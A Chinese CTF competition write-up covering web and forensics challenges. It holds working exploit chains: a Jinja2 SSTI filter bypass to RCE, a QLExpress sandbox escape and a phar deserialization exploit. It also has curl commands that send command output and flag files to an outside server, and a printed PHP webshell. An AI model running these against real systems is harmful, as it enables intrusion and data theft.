西湖论剑 2025 线上赛 Writeup
1-打ctf你这辈子有了
1. 解题过程中,关键步骤不可省略,不可含糊其辞、一笔带过。
2. 解题过程中如是自己编写的脚本,不可省略,不可截图(代码字体可以调小;而如果代码太长,则贴关键代码函数)。
3. 所有解出的题目都必须书写WRITEUP,缺少一个则视该WRITEUP无效,队伍成绩将无效。
4. WRITEUP如过于简略和敷衍,导致无法形成逻辑链条推断出对题目有分析和解决的能力,该WRITEUP可能被视为无效,队伍成绩将无效。
5. 提交md或者PDF版本即可
6.重命名为排名-一、团队信息
- 联系人:[REDACTED]
- 联系方式:[REDACTED]
- 排名:1
- 解题数量:28
- 消耗token数:205,295,434
- 模型名称:deepseek-v4-flash,deepseek-v4-pro,glm-5.3,kimi-for-coding,kimi-k3,mimo-v2.5-pro
二、解题过程
题目按照顺序填写
Web
WEB-01
Age Test (Flask SSTI 盲注 + OOB 外带)
Flag:
DASCTF{16063092785889954752794598715573}
0x00 题目信息
http/5000 → http://1.14.76.59:20733
ssh/22 → ssh://1.14.76.59:190020x01 信息收集
首页是一个 “Age Test” 页面,输入昵称后 POST 到 /,返回类似 Are you 18 years old, xxx? 的猜年龄文案:
HTTP/1.0 200 OK
Server: Werkzeug/2.0.3 Python/3.8.20- Flask + Werkzeug 2.0.3 / Python 3.8.20
- 前端把
POST /的响应直接塞进$('#msg')[0].innerHTML,说明返回内容就是模板渲染结果的一部分
提交 nickname=test,返回 Are you 18 years old, test? —— 昵称被拼进服务端模板,疑似 SSTI。
0x02 WAF 分析
#逐字符探测
用单字符 payload 逐个测试,发现以下字符被拦(返回 Hacker! restricted characters!):
[ ] . _ ' + (空格)#花括号行为
| Payload | 结果 |
|---|---|
{{7*7}} |
被拦 |
{7*7} |
原样输出(未触发渲染) |
{ {7*7} } |
被拦(去空格后变成 {{7*7}}) |
{%print(7*7)%} |
被拦(print 是关键词) |
{%{% |
返回 Exception(通过了 WAF,Jinja2 语法报错) |
结论:**{{**、**}}** 成对被禁,但 **{%**、**%}**、**{#** 本身不禁;此外还禁了字母 x、g 以及一批关键词,完整黑名单:
}}, {{, ], [, \, space, +, _, ., x, g,
request, print, args, values, input, globals, getitem, class, mro, base,
session, add, chr, ord, redirect, url_for, popen, os, read, flag, config,
builtins, get_flashed_messages, get, subclasses, form, cookies, headers0x03 绕过思路
三步绕过,缺一不可:
① 用 **{%if(...)%}...{%endif%}** 代替 **{{ }}**
表达式输出用的 {{ }} 被禁,print 关键词也被禁,但 Jinja2 的 if 语句块既不需要 {{ }} 也不需要 print,正好构造布尔盲注(条件为真则输出标记):
{%if(1)%}PWNED{%endif%} → 响应含 PWNED
{%if(0)%}PWNED{%endif%} → 响应不含 PWNED② 所有敏感字符串用 **\\uXXXX** unicode 转义
Jinja2 字符串字面量支持 Python 风格的 unicode 转义,而 WAF 只检查原始 payload 文本。把属性名全部转义后,原始 payload 里只剩 \u005f\u0067... 这类十六进制序列(\u 后只可能出现 0-9a-f,天然不含 x、g),所有字符过滤和关键词过滤全部失效:
def esc(s): return "".join("\\u{:04x}".format(ord(c)) for c in s)
# esc("__globals__") → "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"③ 用 **|attr()** 代替 **.**/**\[\]** 属性访问,用 **lipsum** 全局对象作入口
. 和 [] 被禁 → 全部改用 |attr("...");_ 被禁 → dunder 名转义解决;入口不依赖 request/config(关键词被禁)→ 用 Jinja2 自带全局 **lipsum**,它是个函数,lipsum.__globals__ 里就有 __builtins__,无需遍历 __subclasses__()。
0x04 构造 RCE
完整执行链(展示层为可读版本,实际提交时所有字符串均为 \uXXXX 转义):
{%if(
lipsum
|attr("__globals__")
|attr("__getitem__")("__builtins__")
|attr("__getitem__")("__import__")("os")
|attr("popen")("id")
|attr("read")()
)%}PWNED{%endif%}即:lipsum.__globals__["__builtins__"]["__import__"]("os").popen("id").read()
验证结果:
if_true => 'PWNED may be an adult.' (盲注 oracle 可用)
if_false => 'Is 20 years old?'
lipsum_globals => 'Are you 18 years old, PWNED?' (lipsum 入口可用)
popen_id => 'PWNED is 21 years old.' (RCE 成功)0x05 数据外带(OOB)
没有回显位置({{}} 被禁),两条路:startswith 布尔盲注逐字符猜,或 OOB 外带。有可控 VPS(120.26.146.96,授权监听 60026 端口)时 OOB 更快:
# VPS 上起监听
python3 -m http.server 60026 --bind 0.0.0.0让靶机执行(整条命令同样走 unicode 转义,命令内的空格不受 WAF 限制):
# 第一步:看身份和根目录
curl -m 8 http://120.26.146.96:60026/a/$( (id; ls /) 2>&1 | base64 -w 0 | tr '/+' '_-' )
# VPS 日志收到(来源 1.14.109.79):
GET /a/dWlkPTEwMDAoY3RmKSBnaWQ9MTAwMChjdGYpIGdyb3Vwcz0xMDAwKGN0ZikKYXBw... HTTP/1.1" 404
# base64 解码:
# uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
# app bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
# 第二步:根目录有 flag 文件,直接读
curl -m 8 http://120.26.146.96:60026/f/$( cat /flag* 2>&1 | base64 -w 0 | tr '/+' '_-' )踩坑记录:第一次把命令写成
$( (id;ls /)... )时少了空格,$((被 shell 当成算术展开,返回空。命令串既然整体转义,空格随便用,补上即可。
解码最终回传:
$ echo 'REFTQ1RGezE2MDYzMDkyNzg1ODg5OTU0NzUyNzk0NTk4NzE1NTczfQo=' | base64 -d
DASCTF{16063092785889954752794598715573}0x06 总结
| 防御 | 绕过 |
|---|---|
禁 {{ }} + 禁 print |
{%if(...)%}...{%endif%} 布尔盲注 |
禁 _ . [ ] ' + 空格、字母 x/g、一大堆关键词 |
字符串全部 \uXXXX unicode 转义,原始 payload 不含任何被滤子串 |
禁 request/config/subclasses 等常见入口 |
lipsum 全局 → __globals__ → __builtins__ → __import__ |
| 无回显 | OOB:curl http://vps:port/$(cmd | base64) |
核心就一句话:WAF 过滤的是“文本”,而 Jinja2 解析的是“转义后的语义”——只要模板引擎还认 {% %} 和 \uXXXX,字符级黑名单就挡不住。
WEB-02
“QL_again” (QLExpress 3.3.3 sandbox escape → RCE → readflag)
Flag: DASCTF{23586486279216336138143286856946} (platform-verified 1/1)
Target analysis
Attachment QL_again.jar is a Spring Boot 2.7.5 app (QLExpress 3.3.3). Decompilation shows:
GET /execute?payload=<base64>(qlcontroller):qluntil.getql()base64-decodes the payload, writes it to/tmp/<first 3 chars of the base64 string>.txt, thenexecuteql()runs it withExpressRunner.execute(...)and deletes the file only on success. Response is justsuccess/error.- Execution hardening:
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true)andsetSecureMethods({null}). The secure-method whitelist is non-empty but contains onlynull, so every Java method call (obj.m(),java.lang.Math.max(1,2), …) throwsQLSecurityRiskException. Constructors and field reads are unchecked (verified on target). MaininstallsNoNetworkSecurityManager:checkConnectrejects non-local hosts, butcheckPermissionallows everything. It only constrains in-JVM connections — subprocesses (e.g.curl) are unaffected.
#Exploit (two requests)
Constructor invocation is unchecked, and a FileSystemXmlApplicationContext constructor runs the whole Spring bean lifecycle — including init-method — entirely outside QLExpress’s OperatorMethod check.
Stage 1 — plant a Spring beans file. Send the beans XML as the QL payload. It is not valid QL, so execution errors and the decoded file is left behind at /tmp/PD9.txt (PD9 = first 3 base64 chars of <?xml ...):
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg><list>
<value>bash</value><value>-c</value>
<value>echo <base64(cmd)> | base64 -d | bash</value>
</list></constructor-arg>
</bean>
</beans>Stage 2 — trigger. Send QL script:
new org.springframework.context.support.FileSystemXmlApplicationContext("/tmp/PD9.txt")Spring instantiates ProcessBuilder and calls start() → arbitrary OS command as user ctfer.
Recon exfil (id; env; ls -la /; ... POSTed via curl to a webhook.site bin) showed /flag is root-only (-rwx------) alongside a SUID-root /readflag. Running curl --data-binary "$(/readflag)" https://webhook.site/<uuid> returned the flag.
#Reproduction
Scripts and payloads: team/artifacts/kimi-1/rce/ (beans.xml, beans2.xml + .b64).
# stage 1: plant XML
curl -G http://1.14.76.59:23537/execute --data-urlencode "payload@beans2.b64" # -> error (file stays)
# stage 2: load context -> RCE -> /readflag -> exfil
P=$(echo -n 'new org.springframework.context.support.FileSystemXmlApplicationContext("/tmp/PD9.txt")' | base64 -w0)
curl -G http://1.14.76.59:23537/execute --data-urlencode "payload=$P" # -> success
# read flag from the request bin, then:
slopper submit-flag --flag 'DASCTF{23586486279216336138143286856946}'#Lessons
- A non-empty QLExpress
secureMethodsset acts as a whitelist; pairing it with a dummy entry blocks all method calls, but constructor-side effects (Spring context, TrAXFilter, etc.) still give code execution. - A Java
SecurityManagerthat only overridescheckConnectdoes not stop command execution or subprocess network egress.
WEB-05
(文件上传 + phar 反序列化)
靶机:http://1.14.76.59:24792(Apache/2.4.54 + PHP/7.4.33,mod_php) Flag:DASCTF{97649000032632195190566220880392}
一、信息收集
首页是一个图片上传表单,POST 到 upload.php。任何响应末尾都带有一个固定的致命错误:
Uncaught Error: start in /var/www/html/upload.php:10上传测试发现两类报错,可推断出两层过滤:
| 响应 | 触发条件 |
|---|---|
Only png, jpg, and gif file are allowed |
扩展名命中黑名单(含 php/phtml/pht/htaccess) |
i told you dear, only png, jpg, and gif file are allowed |
文件内容不是图像(finfo 检查,GIF89a; 头可过) |
Uploaded successfully |
全过 |
但上传成功的文件按原名在 Web 目录下找不到,直接利用陷入僵局。
二、突破口:源码泄露
用 dirsearch 对站点做目录爆破,发现 **/www.zip**(整站源码备份),以及 /info.php(phpinfo,确认 Server API = Apache 2.0 Handler,即 mod_php,.user.ini 路线无效)。
upload.php 本体是两层混淆(eval + gzinflate/base64/字符偏移,内层是 fopo 型 strtr 替换),本地用 PHP 解码后得到真实逻辑:
class AnyClass {
var $output = 'echo "ok";';
function __destruct() { eval($this->output); } // 现成 gadget
}
if (isset($_POST['upload'])) {
if (!empty($_FILES['image']['name'])) {
$maxFileSize = 2 * 64 * 64; // 实际只有 8KB
$r = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);
$image = array('php','PHP','phtml','sh','pht','htaccess','user.ini','asp','aspx','jsp');
if (!in_array($r, $image)) { // 精确匹配黑名单,注意没有 phar!
if ($_FILES['image']['size'] <= $maxFileSize) {
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if (preg_match('/image\/(jpeg|png|gif)/', $filetype)) {
if (move_uploaded_file($_FILES['image']['tmp_name'],
'uploaded_images/' . $_FILES['image']['name'])) {
$b = 'uploaded_images/' . $_FILES['image']['name'];
@parse_str($_POST['upload']); // ★ 变量覆盖:提交按钮的值可控!
if (file_exists($b)) { // ★ file_exists($b) → phar:// 反序列化
echo "Uploaded successfully";
}
}
} else { echo "\ni told you dear, ..."; }
}
} else { echo "\nOnly png, jpg, and gif ..."; }
}
}
new AnyClass(); // 每次请求末尾 echo "ok" 的来源(对应外层 upload.php 第 9 行的 eval;第 10 行是 throw new Error("start")。)
三、漏洞链设计
- 黑名单没有
**phar**,且 finfo 只看文件头 → 可上传 GIF 头 stub 的 phar 文件,落在uploaded_images/(该目录直接可访问)。 **parse_str($_POST\['upload'\])**在$b赋值之后执行 → 提交upload=b=phar://uploaded_images/evil.phar/x.txt即可把$b覆盖成 phar 路径。file_exists($b)触发 phar 元数据反序列化,元数据里放AnyClass,__destruct中eval($this->output)任意代码执行。
关键障碍:fatal 之后析构不执行
流程末尾 throw new Error("start") 使请求以 fatal error 结束。本地用与靶机同版本的 PHP 7.4.33 实测:
- 正常结束:phar 元数据对象在 shutdown 阶段析构,eval 执行 ✓
- uncaught Error / E_USER_ERROR / 调用未定义函数:shutdown 阶段的
__destruct全部不执行 ✗
而 phar 元数据对象会被 phar 缓存持有到请求结束 —— 直接打,eval 永远不会跑。
绕过:让对象在 unserialize 期间立即析构
把元数据的序列化串由 :1:{ 改成 :2:{(等长篡改):unserialize 创建对象后继续解析第二个属性时遇到 } 报错,半成品对象被立即清理 → **__destruct** 在 unserialize 期间、也就是 throw 之前触发。本地验证输出顺序确认 eval 先于 fatal error 执行。
phar 签名(SHA-1)覆盖元数据,篡改后需重算签名:
<?php
class AnyClass {
var $output = 'system("cat /flag* 2>/dev/null; echo -----; ls -la /;");';
}
@unlink('evil.phar');
$p = new Phar('evil.phar');
$p->startBuffering();
$p->setStub("GIF89a;<?php __HALT_COMPILER(); ?>"); // GIF 头过 finfo
$p->setMetadata(new AnyClass());
$p->addFromString('x.txt', 'x');
$p->stopBuffering();
$data = file_get_contents('evil.phar');
$meta = serialize(new AnyClass());
$pos = strpos($data, $meta);
$bad = str_replace(':1:{', ':2:{', $meta); // 元数据致残
$data = substr_replace($data, $bad, $pos, strlen($meta));
$sigstart = strlen($data) - 28; // sig(20)+flags(4)+GBMB(4)
$newsig = sha1(substr($data, 0, $sigstart), true); // 重算 SHA-1 签名
file_put_contents('evil.phar',
substr($data, 0, $sigstart) . $newsig . substr($data, $sigstart + 20));四、打点
php -d phar.readonly=0 makephar.php
curl -F "image=@evil.phar;filename=evil.phar;type=image/gif" \
-F "upload=b=phar://uploaded_images/evil.phar/x.txt" \
http://target/upload.php响应中 ok 和 fatal error 之前即输出命令执行结果:
DASCTF{97649000032632195190566220880392}
-----
total 92
...
-rw-r--r-- 1 root root 41 Aug 21 08:12 flag
...五、总结
- 信息收集别忽视目录爆破,
www.zip直接决定了这题从黑盒变白盒。 - 考点组合:扩展名黑名单绕过(phar)+ finfo 内容检查绕过(GIF 头)+
parse_str变量覆盖 + phar 反序列化。 - 最有意思的细节:题目用
throw new Error("start")堵住 shutdown 析构路径,逼选手用畸形序列化数据让对象在unserialize期间被立即析构——这是本题真正的门槛。 - 复现 PHP 行为时务必用与靶机一致的版本(本地 PHP 8 与 7.4 在 strtr、析构时机等行为上有差异)。
MISC
MISC-01
Flag:DASCTF{9da98cbf7e99bff7c93ef066935f65ba}
10734 — MISC-01 “flag^galf” Writeup
- Category: Misc / Memory Forensics
- Flag:
DASCTF{9da98cbf7e99bff7c93ef066935f65ba}(platform-verified, 1/1) - Attachment:
attachments/flag^galf的附件.zip→tempdir/MISC附件/ubuntu flag.zip→ubuntu flag.lime(2 GB LiME memory dump, Linux 4.13.0-36-generic, Ubuntu 16.04)
Summary
The attachment is a LiME memory image of an Ubuntu desktop. Memory forensics shows the author encrypted an image with a script enc.py (since deleted / zero-length in memory). Two PNGs, picture.png and encrypt.png, remain recoverable from the kernel page cache. The challenge name flag^galf (“flag” XOR reversed “flag”) hints that the original image is recovered by XOR-ing the pixels of the two images with the second image’s channels reversed: img1.RGBA ^ img2.ABGR. The reconstructed ori.png displays the flag.
Reproduction Steps
-
Unpack the nested archives:
Textunzip "attachments/flag^galf的附件.zip" # tempdir/MISC附件/ubuntu flag.zip unzip "tempdir/MISC附件/ubuntu flag.zip" # ubuntu flag.limeunzip "attachments/flag^galf的附件.zip" # tempdir/MISC附件/ubuntu flag.zip unzip "tempdir/MISC附件/ubuntu flag.zip" # ubuntu flag.lime -
Identify the kernel with Volatility 3 (installed at
/opt/slopper/venv/bin/vol):Textvol -f "ubuntu flag.lime" banners # Linux version 4.13.0-36-generic ... Ubuntu 4.13.0-36.40~16.04.1-genericvol -f "ubuntu flag.lime" banners # Linux version 4.13.0-36-generic ... Ubuntu 4.13.0-36.40~16.04.1-generic -
Install the matching symbol table
Ubuntu_4.13.0-36.json.xzintovolatility3/framework/symbols/linux/, then enumerate the system:Textvol -q -f "ubuntu flag.lime" linux.pslist # gnome-terminal, bash, screen, firefox, lmg/avml capture vol -q -f "ubuntu flag.lime" linux.bash # history shows: python enc.py (XOR image encryption)vol -q -f "ubuntu flag.lime" linux.pslist # gnome-terminal, bash, screen, firefox, lmg/avml capture vol -q -f "ubuntu flag.lime" linux.bash # history shows: python enc.py (XOR image encryption)Bash history / strings reveal the author ran
enc.pyto XOR-encrypt an original image, producingencrypt.pngfrompicture.png(files live under/home/.pip3/;enc.pyitself is unrecoverable — zero-length in memory — which is why the algorithm must be inferred). -
Recover the two PNGs from the page cache (vol2
linux_find_file -L+-O, or carve the PNG signatures directly from the image):encrypt.pngpicture.png
-
XOR the images. A naive RGBA^RGBA XOR only shows a faint flag shadow; per the title
flag^galf, XORimg1.RGBAwithimg2.ABGR(reversed channels) — seeteam/artifacts/kimi-1/xor_flag.py:Pythonfrom PIL import Image img1 = Image.open("encrypt.png"); img2 = Image.open("picture.png") w, h = img1.size img3 = Image.new("RGBA", (w, h)) for y in range(h): for x in range(w): r1, g1, b1, a1 = img1.getpixel((x, y)) r2, g2, b2, a2 = img2.getpixel((x, y)) img3.putpixel((x, y), (r1 ^ a2, g1 ^ b2, b1 ^ g2, a1 ^ r2)) img3.save("ori.png")from PIL import Image img1 = Image.open("encrypt.png"); img2 = Image.open("picture.png") w, h = img1.size img3 = Image.new("RGBA", (w, h)) for y in range(h): for x in range(w): r1, g1, b1, a1 = img1.getpixel((x, y)) r2, g2, b2, a2 = img2.getpixel((x, y)) img3.putpixel((x, y), (r1 ^ a2, g1 ^ b2, b1 ^ g2, a1 ^ r2)) img3.save("ori.png")(Equivalent shortcut: mark pixels where
r^g^b^aof the plain XOR is 255 — the flag text renders cleanly.) -
Read the flag from
ori.pngand submit:Textslopper submit-flag --flag 'DASCTF{9da98cbf7e99bff7c93ef066935f65ba}' # verification: accepted ("答案正确"), solvedFlagCount 1/1slopper submit-flag --flag 'DASCTF{9da98cbf7e99bff7c93ef066935f65ba}' # verification: accepted ("答案正确"), solvedFlagCount 1/1
Artifacts
team/artifacts/kimi-1/flag.txt— the verified flagteam/artifacts/kimi-1/xor_flag.py— channel-reversed XOR reconstruction script
Retrospective
- Once the XOR-with-reversed-channels hypothesis was formed from the title
flag^galfand the bash-history evidence, testing it on a small crop of the two images confirmed the approach immediately, before full-resolution reconstruction. - Key lesson encoded in the title:
flag^galf= XOR with the reversed byte/channel order — challenge names and a cron-job hint (“possibly XOR”) pointed at the algorithm onceenc.pyproved unrecoverable from memory. - Volatility 3 worked end-to-end here (banners/pslist/pagecache) once the correct
Ubuntu_4.13.0-36ISF symbol table was installed; vol2 with a hand-built profile is only needed for convenient file export.
MISC-02
MISC-02 (logbool) — Writeup
Approach
Attachment is a 16MB pcapng captured on Windows loopback (Npcap Loopback Adapter). Protocol hierarchy shows heavy MySQL (port 3306) and HTTP traffic. The HTTP requests to 10.211.55.8:80 are classic sqlmap boolean-based blind SQLi payloads (?id=1' AND ORD(MID((SELECT IFNULL(CAST(content AS NCHAR),0x20) FROM ctftest.ctfblob ...),N,1))>K AND 'xxx'='xxx). The web app executes each payload against MySQL (127.0.0.1:3306, db=ctftest) and the HTTP response echoes the query plus success iff a row was returned. Both the full SQL query and the result-set row presence are captured in the MySQL protocol, giving a clean 1:1 boolean oracle per probe without HTTP parsing.
Evidence
tshark -Y mysqldump: 2668Request Queryframes, each paired with aResponse TABULAR Response(row text1,zhangsan,zhangpresent = true, empty = false).- Payloads extract columns of
ctftest.ctfblob(COUNT(*),id,username,password,content) char-by-char viaORD(MID(...))>Kbinary search. - Reconstructed value per position:
max(K where true) + 1.
Reconstructed rows
id:1username:boolblobpassword:timeemitloggol← used as the RAR passwordcontent: hex string526172211a070100...→ unhexlify → RAR archive (Rar!\x1a\x07\x01\x00) containingflag.txt(40 bytes, encrypted with passwordtimeemitloggol)
Steps
tshark -r logbool.pcapng -Y mysql -T fields ... > mysql_dump.tsv- Pair each
Request Querywith itsResponse TABULARoutcome (row present ⇔ condition true). - Parse
ORD(MID((SELECT ...),pos,1))>Nprobes, group by (column, offset, position), value = max(true N)+1. - Reconstruct
contenthex →flag.rar; password frompasswordcolumn. 7z e flag.rar -ptimeemitloggol→flag.txt=DASCTF{33c12355cd508de6b9b3676b97ece17e}.
Flag
DASCTF{33c12355cd508de6b9b3676b97ece17e} (submitted as 33c12355cd508de6b9b3676b97ece17e, accepted)
Failed attempts
- Guessed flag directly from HTTP response bodies (echo only, no data) — flag is exfiltrated via blind oracle, not plaintext.
- 7z/unrar initially prompted for password; resolved by using the DB
passwordcolumn value.
#!/usr/bin/env python3
import re, sys
from collections import defaultdict
# Parse mysql_dump.tsv: frame \t stream \t info \t rowtext \t query
rows = []
with open('mysql_dump.tsv') as f:
for line in f:
parts = line.rstrip('\n').split('\t')
if len(parts) < 3:
continue
frame = int(parts[0])
stream = parts[1]
info = parts[2]
rowtext = parts[3] if len(parts) > 3 else ''
query = parts[4] if len(parts) > 4 else ''
rows.append((frame, stream, info, rowtext, query))
# Pair each "Request Query" with the next "Response TABULAR Response" in same stream
queries = [] # (frame, query, outcome_bool)
pending = {} # stream -> query
for frame, stream, info, rowtext, query in rows:
if 'Request Query' in info:
pending[stream] = query
elif 'Response TABULAR' in info:
q = pending.pop(stream, None)
if q is not None:
outcome = bool(rowtext.strip())
queries.append((frame, q, outcome))
print(f"total paired queries: {len(queries)}")
# Parse payload: SELECT * FROM ctfuser WHERE id='<payload>' LIMIT 0,1
pat = re.compile(r"ORD\(MID\(\(SELECT IFNULL\(CAST\((?P<col>[^)]*?)(?: AS NCHAR)?\),0x20\) FROM ctftest\.ctfblob(?: ORDER BY id LIMIT (?P<off>\d+),\d+)?\),(?P<pos>\d+),\d+\)\)(?P<op>>=?)(?P<num>\d+)")
def parse_payload(q):
m = re.search(r"id='(.*)' LIMIT 0,1$", q)
if not m:
return None
payload = m.group(1)
m2 = pat.search(payload)
if not m2:
return None
col = m2.group('col').strip()
pos = int(m2.group('pos'))
num = int(m2.group('num'))
op = m2.group('op')
off = m2.group('off') or '0'
return (col, int(off), pos, num, op)
# Group probes by (col, off, pos)
probes = defaultdict(list) # (col, off, pos) -> [(num, outcome)]
unknown = 0
for frame, q, outcome in queries:
parsed = parse_payload(q)
if parsed is None:
unknown += 1
continue
col, off, pos, num, op = parsed
probes[(col, off, pos)].append((num, outcome, frame))
print(f"unparsed: {unknown}")
print(f"positions tracked: {len(probes)}")
# Reconstruct: value = max(num where outcome true) + 1 (binary search on '>')
# Also verify each position has consistent probes.
results = defaultdict(dict) # (col, off) -> {pos: char}
for (col, off, pos), plist in sorted(probes.items()):
plist.sort()
trues = [n for n, o, f in plist if o]
falses = [n for n, o, f in plist if not o]
if trues:
v = max(trues) + 1
else:
v = min(falses) - 1 if falses else None
results[(col, off)][pos] = v
for (col, off) in sorted(results.keys()):
d = results[(col, off)]
s = ''.join(chr(d[p]) for p in sorted(d) if d[p] is not None)
print(f"--- col={col!r} off={off} len={len(d)} ---")
print(repr(s))
print(s)#!/usr/bin/env python3
# Reproducible solver for MISC-02 (logbool)
# Given: logbool.pcapng — a capture of sqlmap boolean-based blind SQLi against a web app
# backed by MySQL. The app echoes the query and appends "success" iff a row is returned.
# We reconstruct extracted strings from the MySQL protocol (query + result row presence).
import re, binascii, subprocess, os
from collections import defaultdict
PCAP = "tempdir/MISC附件/logbool.pcapng"
os.system(f"tshark -r {PCAP} -Y 'mysql' -T fields -e frame.number -e tcp.stream -e _ws.col.Info -e mysql.row.text -e mysql.query 2>/dev/null > mysql_dump.tsv")
rows = []
with open('mysql_dump.tsv') as f:
for line in f:
parts = line.rstrip('\n').split('\t')
if len(parts) >= 3:
rows.append((int(parts[0]), parts[1], parts[2],
parts[3] if len(parts) > 3 else '',
parts[4] if len(parts) > 4 else ''))
pending, queries = {}, []
for frame, stream, info, rowtext, query in rows:
if 'Request Query' in info:
pending[stream] = query
elif 'Response TABULAR' in info:
q = pending.pop(stream, None)
if q is not None:
queries.append((frame, q, bool(rowtext.strip())))
pat = re.compile(r"ORD\(MID\(\(SELECT IFNULL\(CAST\((?P<col>[^)]*?)(?: AS NCHAR)?\),0x20\) FROM ctftest\.ctfblob(?: ORDER BY id LIMIT (?P<off>\d+),\d+)?\),(?P<pos>\d+),\d+\)\)(?P<op>>=?)(?P<num>\d+)")
probes = defaultdict(list)
for frame, q, outcome in queries:
m = re.search(r"id='(.*)' LIMIT 0,1$", q)
if not m: continue
m2 = pat.search(m.group(1))
if not m2: continue
col = m2.group('col').strip(); pos = int(m2.group('pos')); num = int(m2.group('num'))
off = m2.group('off') or '0'
probes[(col, int(off), pos)].append((num, outcome))
results = defaultdict(dict)
for (col, off, pos), plist in sorted(probes.items()):
trues = [n for n, o in plist if o]
falses = [n for n, o in plist if not o]
v = (max(trues) + 1) if trues else (min(falses) - 1 if falses else None)
results[(col, off)][pos] = v
out = {}
for (col, off) in sorted(results.keys()):
d = results[(col, off)]
s = ''.join(chr(d[p]) for p in sorted(d) if d[p] is not None)
out[col] = s
print(f"{col}: {s!r}")
# content is a hex string -> RAR archive
rar = binascii.unhexlify(out['content'].rstrip('\x00'))
open('flag.rar', 'wb').write(rar)
pw = out['password'].rstrip('\x00')
subprocess.run(["7z", "e", "flag.rar", "-y", "-p" + pw, "-oextracted"], capture_output=True)
print(open('extracted/flag.txt').read())MISC-03
HK的怪兽
1.得到一个加密的zip和一个流量,提示zip的密码就是shell中的key,看下流量,发现明显是哥斯拉流量,跟题目名字正好对应
DASCTF=J748ZThhYTU1NjWpAz2hCTQ19M0T%2FtEHhbdtMxYleyEo1z%2BjjnUl6WGDGRgM72C3dVub
LL8qK%2Fw%2B2iBXOVef67qIQ0lZdGrErqhtlAHkJdugunhkNxN%2ByJ%2B91ga%2FP%2BTqTgG5t9w
vx%2FbTadLPT10FDfE6wRw97Qs1NTY%3D2.在第14流发现了哥斯拉流量密文解密的key等信息
$pass='DASCTF' ;
$payloadName='payload' ;
$key='9854e8aa5568e23c';3.在第6流发现了压缩包的十六进制源码,打开发现是加密的
4.在第41流,使用解密脚本解密哥斯拉流量的密文,得到了跟密钥有关的信息
php 1.php
string(106) "cmdLineDsh -c "cd "/var/www/html/hackable/uploads/";
cat Pass1sHere.txt" 2>81methodName
execCommand"<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function response_decode($D,$K){
$D = base64_decode($D);
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
var_dump(gzdecode($D));
}
$pass='DASCTF';
$payloadName='payload';
$key='9854e8aa5568e23c';
$request_data ='J748ZThhYTU1NjWpAz2hCTQ19M0T/tEHhbdtMxYleyEo1z+jjnUl6WGDGRgM72C3dVubLL8qK/w+2iBXOVef67qIQ0lZdGrErqhtlAHkJdugunhkNxN+yJ+91ga/P+TqTgG5t9wvx/bTadLPTl0FDfE6wRw97Qs1NTY=';
echo
response_decode($request_data, $key);5.但是看后面没有回显到cat txt的内容,尝试后得知zip的密码就是哥斯拉流量密文解密的key:9854e8aa5568e23c,得到的文件是乱码
6.密文解密后得到的cat Pass1sHere.txt中txt的名字就是1.pem文件的解密密码,010打开后发现其中是一个PRIVATE KEY
7.使用1.pem中的私钥解密flag文件,具体用法可参考 openssl pkeyutl -decrypt -in flag -inkey 1.pem -out flag.txt
$ cat flag.txt
DASCTF{987787ad-5cf9-4909-b847-8dfb9d657988}MISC-04
题目附件给了一个流量包,翻看一下发现以下几个可疑信息
首先是给了一个/hint:crc32
然后上传了一个flag文件,熟悉文件头的话很容易发现这是一个十六进制逆序后的7z文件flag,提取出来。
然后发现用户还传了三个文件,分别是:pwd1.dat pwd2.dat pwd3.dat,爆破这三个数据crc32计算后的值即可得到解压密码:PAS4_Wo3d_he3e!
用此密码解压7z后可以得到一个 flag.txt 内容如下:
D 1l A 1h S 1g 23 1d 2k 32 26 1n 3r 1k 1i 1k 1l 1d 33 1l 31 1p 34 1k 1p 1i 31 35 1m 32 1d 1m 1m 35 32 1m 1k 33 31 1n 1d 1m 1k 3t
发现有DAS这三个关键的字母,然后别的数据应该都是32进制,因此我们写个脚本转换一下
def func():
with open("flag.txt",'r') as f:
data = f.read().split()
flag = ""
for item in data:
if item.isupper():
flag += item
else:
flag += chr(int(item,32))
print(flag)
# D5A1S0C-TbF7{4245-c5a9d492ae6b-66eb64ca7-64}
if __name__ == "__main__":
func()最后解个栅栏密码即可得到最后的flag:DASCTF{25cad9a6-6b4a-4510-b744-5942eb6e6c76}
MISC-06
蚁剑流量,流量中找到www.zip,导出得到
my_rsa.php
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcx
PkExXQDSdke4BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ
5qKi7yN6zGVMUpQsV6kFs0GQVkrJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1J
RAcfJSQCvaw6O8uq3wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
foreach($_POST as $k => $v){
if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
$_POST[$k]=$de;
}
}
eval($cmd);得到密钥,直接用neta分析
发现有一个secret文件,其中i和7被替换为了x,文件内容:xx34d619x1brxgd9mgd4xzxwxytv669w
那么x就可能是i可能是7可能是x
又输出了secret文件的md5值
import hashlib
def generate_combinations(s, index=0, current=""):
if index == len(s):
md5_hash = hashlib.md5(current.encode()).hexdigest()
if md5_hash == "edffd5be04cc060e343cad479a8b845c":
print(f"Matching string: {current}")
return
if s[index] == 'x':
generate_combinations(s, index + 1, current + 'i')
generate_combinations(s, index + 1, current + '7')
